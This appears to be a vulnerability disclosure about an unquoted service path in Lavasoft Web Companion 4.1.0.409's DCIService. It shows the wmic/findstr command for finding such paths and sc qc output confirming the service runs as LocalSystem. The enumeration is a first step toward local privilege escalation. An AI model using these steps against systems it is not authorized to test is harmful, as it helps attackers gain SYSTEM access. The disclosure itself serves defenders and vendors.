Lavasoft 4.1.0.409 Unquoted Service Path – Torchsec
# Author: P4p4 M4n3
# Discovery Date: 25-11-2022
# Vendor Homepage: https://webcompanion.com/en/
# Version 4.1.0.409
# Tested on: Microsoft Windows Server 2019 Datacenter x64
# Description:
# Lavasoft 4.1.0.409 install DCIservice as a service with an unquoted service path
# POC https://youtu.be/yb8AavCMbes
#Discover the Unquoted Service path
C:\Users\p4p4\> wmic service get name,pathname,startmode | findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """
DCIService C:\Program Files (x86)\Lavasoft\Web Companion\Service\x64\DCIService.exe Auto
C:\Users\p4p4> sc qc DCIService
[SC] QueryServiceConfig réussite(s)
SERVICE_NAME: DCIService
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files (x86)\Lavasoft\Web Companion\Service\x64\DCIService.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : DCIService
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
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